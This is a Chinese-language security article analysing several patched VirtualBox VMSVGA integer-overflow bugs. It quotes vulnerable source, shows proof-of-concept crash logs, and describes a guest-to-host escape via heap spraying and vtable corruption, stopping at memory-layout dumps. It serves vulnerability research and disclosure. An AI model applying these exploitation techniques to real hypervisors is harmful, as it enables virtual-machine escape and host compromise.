<dl id="opymh"></dl>

<div id="opymh"></div>
      <div id="opymh"><tr id="opymh"></tr></div>

        <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

        <em id="opymh"></em>

        <em id="opymh"><ol id="opymh"></ol></em>

              頻道欄目
              首頁 > 安全 > 網站安全 > 正文

              VirtualBox VMSVGA多個虛擬機逃逸漏洞分析簡介

              2018-11-29 03:02:28         來源:[db:作者]  
              收藏   我要投稿

              VirtualBox模擬VMware虛擬SVGA設備,其接口的詳細信息和編程模型可從網絡上公開獲取。另外,在《VMware托管I/O架構上的GPU虛擬化》論文中,對VMware SVGA設備架構進行了很好的描述。此外,Kostya Kortchinsky發布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,詳細介紹了如何利用VMware SVGA設備中的漏洞進行VM逃逸。
              Oracle在2015年一月的重要補丁更新中,修復了VMSVGA設備所存在的一系列問題(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通過硬件仿真攻擊虛擬機管理程序》中,提供了有關VirtualBox中VMSVGA漏洞的一些細節。
              值得注意的是,由于VMSVGA設備在默認情況下未啟用,所以受影響的用戶可能非常有限。但是,用戶可以根據VBoxManage文檔中的說明啟用該功能。
              VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
              Oracle在2017年7月和2017年10月的重要補丁更新中,修復了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,這些漏洞是由我發現并報告的。另外,來自360 Gear團隊的李強也同時獨立發現了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240這四個漏洞。在這篇博客文章中,詳細介紹了其中的一些問題,并演示如何利用這些漏洞實現虛擬機逃逸。
              我們在macOS環境的VirtualBox 5.1.22版本中進行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,這一功能僅在Windows和macOS中可用。
              vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中驗證validating face[0].numMipLevel過程存在整數溢出漏洞(CVE-2017-10210)
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              /* cFaces must be 6 for a cubemap and 1 otherwise. */
              AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
              AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
              . . .
              }
              在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP時,“cFaces”值可以設置為6。然后,可以將“face[0].numMipLevels”設置為cFaces * face[0].numMipLevels wraps的計算結果。“cMipLevels”取決于為SVGA_3D_CMD_SURFACE_DEFINE命令傳遞的SVGA3dSize結構的數量,例如2 == 6 * 0x2aaaaaab。
              用于其它多個命令中的face[0].numMipLevels值是導致內存損壞的元兇。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令來演示內存損壞,最終導致free()無效。
              int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
              {
              . . .
              if (pSurface->pMipmapLevels)
              {
              for (uint32_t face=0; face cFaces; face++)
              {
              for (uint32_t i=0; i faces[face].numMipLevels; i++)
              {
              uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
              if (pSurface->pMipmapLevels[idx].pSurfaceData)
              RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
              }
              }
              RTMemFree(pSurface->pMipmapLevels);
              }
              . . .
              }
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
              [sudo] password for renorobert:
              poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
              poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
              [lldbinit] process attach --pid 57984
              [-] warning: get_frame() failed. Is the target binary started?
              Process 57984 stopped
              * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
              frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
              Target 0: (VirtualBoxVM) stopped.


              Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
              Architecture set to: x86_64h-apple-macosx.
              [lldbinit] c
              Process 57984 resuming
              -----------------------------------------------------------------------------------------------------------------------[regs]
              RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
              RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
              R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
              R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
              CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
              -----------------------------------------------------------------------------------------------------------------------[flow]
              -----------------------------------------------------------------------------------------------------------------------[code]
              __pthread_kill @ libsystem_kernel.dylib:
              0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ;
              0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
              0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
              0x7fff5f9b7b70: c3 ret
              0x7fff5f9b7b71: 90 nop
              0x7fff5f9b7b72: 90 nop
              0x7fff5f9b7b73: 90 nop

              __pthread_markcancel @ libsystem_kernel.dylib:
              0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
              -----------------------------------------------------------------------------------------------------------------------------

              Process 57984 stopped
              * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
              frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
              Target 0: (VirtualBoxVM) stopped.
              [lldbinit] bt
              * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
              * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
              frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
              frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
              frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
              frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
              frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
              frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
              frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
              frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
              frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
              frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
              frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
              [lldbinit]
              vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未驗證paMipLevelSizes導致整數溢出漏洞(CVE-2017-10236)
              /* Allocate buffer to hold the surface data until we can move it into a D3D object */
              for (uint32_t i = 0; i pMipmapLevels[i];
              . . .
              pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
              pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
              pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
              AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
              }
              在這里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的計算可能會產生溢出。由于“cbSurface”的計算存在問題,進一步導致RTMemAllocZ最終分配的緩沖區大小比實際需要的要少。在其他SVGA命令中使用“pSurfaceData”期間,可能會發生越界讀/寫的情況。針對該漏洞提供的PoC僅演示了無效分配,可以在調試器中觀察到這一點,不會觸發任何崩潰。但是,這一漏洞隨后將會在完整的VM逃逸漏洞利用中使用到。
              vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多個整數溢出漏洞(CVE-2017-10240和CVE-2017-10408)
              int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
              uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
              {
              . . .
              for (unsigned i = 0; i pMipLevel->size.width)
              paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
              if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
              paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
              if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
              paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

              if ( !paBoxes[i].w
              || !paBoxes[i].h
              || !paBoxes[i].d
              || paBoxes[i].x > pMipLevel->size.width
              || paBoxes[i].y > pMipLevel->size.height
              || paBoxes[i].z > pMipLevel->size.depth)
              {
              . . .
              continue;
              }
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              . . .
              }
              在這一漏洞中,首先對于“pMipLevel”的“paBoxes”驗證可能會發生溢出,從而導致繞過問題。由于整數溢出,因此也可以繞過針對“pMipLevel-> cbSurface”的“uDestOffset”驗證。我們在多個位置都發現了類似的代碼模式。“uDestOffset”用于在調用vmsvgaGMRTransfer期間計算“pBufferStart”參數,所以驗證失效將導致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所對應位置發生越界讀取或越界寫入。該漏洞的PoC將訪問內存中pMipLevel->pSurfaceData偏移約4GB的位置,從而導致崩潰。可以通過堆噴射并分配可訪問內存區域的方法來利用這一漏洞。
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
              gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
              [sudo] password for renorobert:
              [lldbinit] process attach --pid 14518
              [-] warning: get_frame() failed. Is the target binary started?
              Process 14518 stopped
              * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
              frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
              Target 0: (VirtualBoxVM) stopped.

              Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
              Architecture set to: x86_64h-apple-macosx.
              [lldbinit] c
              Process 14518 resuming
              -----------------------------------------------------------------------------------------------------------------------[regs]
              RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
              RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
              R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
              R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
              CS: 002B FS: 0000 GS: 0000
              -----------------------------------------------------------------------------------------------------------------------[flow]
              -----------------------------------------------------------------------------------------------------------------------[code]
              _platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
              0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
              0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
              0x7fff5fb78fd7: 5d pop rbp
              0x7fff5fb78fd8: c3 ret
              0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
              0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ;
              0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
              0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
              -----------------------------------------------------------------------------------------------------------------------------

              Process 14518 stopped
              * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
              frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
              Target 0: (VirtualBoxVM) stopped.
              [lldbinit] vmmap -a 0x00007F976656CEB8
              [lldbinit] bt
              * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
              * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
              frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
              frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
              frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
              frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
              frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
              frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
              frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
              frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
              frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
              [lldbinit]
              vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整數溢出漏洞(CVE-2017-10407)
              int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
              SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
              {
              . . .
              AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth vram_size,
              ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
              src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
              VERR_INVALID_PARAMETER);

              uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
              . . .
              }
              其中,“offSrc”驗證可能會發生溢出,并且可以繞過對“vram_size”的檢查,這將會導致與VRAM相關的越界讀取或越界寫入。vmsvgaGMRTransfer可以由多個SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。
              在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,針對vram_size驗證“offsetDest”。因此,寫入的位置只能從VRAM緩沖區內開始。但是,“offsetSource”最終可以在受控制的偏移量處指向超出VRAM緩沖區的位置,從而可靠地提供信息泄露漏洞。
              case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
              {
              . . .
              unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
              unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
              unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

              AssertBreak(offsetDest vram_size);

              rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
              該漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相對于VRAM的OOB訪問。
              漏洞利用
              在上述的多個漏洞中,提供了許多組合和原語。我選擇使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞來演示完整的VM逃逸:
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              /* Allocate buffer to hold the surface data until we can move it into a D3D object */
              for (uint32_t i = 0; i pMipmapLevels[i];
              . . .
              pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
              pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
              pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
              AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
              }
              . . .
              }
              vmsvga3dSurfaceDefine()中存在的漏洞,允許為pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth設置非常大的值,但最終只需要分配所需大小的堆塊。這一點對于進一步利用vmsvga3dSurfaceDMA()中的整數溢出漏洞來說非常有幫助。
              int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
              uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
              {
              . . .
              for (unsigned i = 0; i pMipLevel->size.width)
              paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
              if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
              paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
              if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
              paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

              if ( !paBoxes[i].w
              || !paBoxes[i].h
              || !paBoxes[i].d
              || paBoxes[i].x > pMipLevel->size.width
              || paBoxes[i].y > pMipLevel->size.height
              || paBoxes[i].z > pMipLevel->size.depth)
              {
              . . .
              continue;
              }
              . . .
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              . . .
              rc = vmsvgaGMRTransfer(pThis,
              transfer,
              . . .
              paBoxes[i].w * pSurface->cbBlock,
              paBoxes[i].d * paBoxes[i].h);
              . . .
              }
              由于pMipLevel的寬度、高度和深度在vmsvga3dSurfaceDefine()中被設置為非常大的值,因此可以繞過涉及paBoxes的第一次檢查。后續,這些值將用于計算“uDestOffset”,可以設置為任意值。
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              但是,其后有一個驗證:
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              舉例來說:
              uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) cbSurface
              在這里,可以將較高值設置為uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)來繞過驗證。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于計算memcpy()調用的大小參數。為了使大小調整為一個合理的值,我們將uDestOffset設置為一個較大的值,從而允許讀取/寫入一個距離表面分配約4GB的偏移量。
              為了利用這個漏洞,有兩個問題需要解決:
              1、從表面分配偏移約4GB的內存;
              2、在這個巨大偏移量的分配內存中,應該存在指針損壞,從而導致代碼執行。
              在macOS中,共有三種類型的分配: Tiny、Small和Large。Tiny堆分配的地址范圍是0x00007fxxxxx00000,而Large分配則占用另一個地址范圍0x00000001xxxxx000。上述二者堆分配中的任何一個都能夠進行漏洞利用。
              我選擇的是Tiny類型堆分配,主要因為,我知道Tiny類型的分配中具有指向vtable和其他內存分配的指針,而這樣的指針可能會由于代碼執行而被破壞。但是,使用Tiny類型的分配來噴射(Spray)整個4GB內存是一個非常緩慢的過程。macOS支持最大127KB的Small分配。因此,我們的思路是盡可能多地分配Small塊,以加快堆噴射的進度,并減少Tiny塊堆噴射的數量。
              分配Tiny塊
              對于Tiny塊,我將目標放在針對HGCM(Host-Guest通信管理器)執行的分配上。關于HGCM的詳細信息,可以參考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
              針對這個漏洞,我習慣使用HGCM連接對象,然后進行噴射。要對HGCM連接進行初始化,需要使用VMM虛擬PCI設備進行。設備的BAR0保存用于HGCM通信的I/O端口地址。無論何時啟動HGCM連接,都會在內存中分配大小為72字節的HGCMClient對象,并返回客戶端ID。下面是HGCMClient對象的示例:
              typedef struct _AVLULNodeCore
              {
              AVLULKEY Key; /** Key value. */
              struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
              struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
              unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
              } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

              typedef struct _ObjectAVLCore
              {
              AVLULNODECORE AvlCore;
              void *pSelf; // type HGCMObject
              } ObjectAVLCore;

              struct HGCMClient {
              void *vptr_HGCMObject;
              uint32_t m_cRefs;
              uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
              ObjectAVLCore m_core;
              void *pService; // type HGCMService
              void *pvData;
              uint64_t padding;
              } HGCMClient;
              HGCMClient的創建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient來完成。這些客戶端對象使用AVL樹進行維護,其中的節點包含客戶端ID,并且還包含指向對象本身的指針。在漏洞利用期間,我們需要避免破壞AVL樹的元數據,以防止在查找或插入AVL樹節點期間發生任何崩潰。此外,我們可能會損壞HGCMClient的vtable,以獲得RIP控制。
              HGCMClient對象的刪除發生在HGCM斷開連接期間,由HGCMService::DisconnectClient進行處理,其中使用到了損壞的vtable。
              int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
              {
              . . .
              HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
              AssertRelease(pMsg);

              pMsg->u32ClientId = u32ClientId;

              hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
              . . .
              }
              分配Small塊
              為了能更高效地填充4GB,與Tiny塊相比,Small塊顯然是更好的選擇。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的塊。
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              AssertReturn(sid papSurfaces[sid];

              /* If one already exists with this id, then destroy it now. */
              if (pSurface->id != SVGA3D_INVALID_ID)
              vmsvga3dSurfaceDestroy(pThis, sid);
              . . .
              }
              vmsvga3dSurfaceDefine()允許最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)個唯一的表面分配。針對大小為127KB的表面,這樣的限制足以讓我們填充約4GB。由于頁是分配給堆的較低地址,因此最開始需要分配HGCMClient對象,然后才是表面分配。在進行堆噴射后,內存布局如下圖所示:

              噴射前的內存布局
              Stack 00007000060c1000-0000700006143000 thread 29
              MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
              噴射后的內存布局
              Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35
              MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
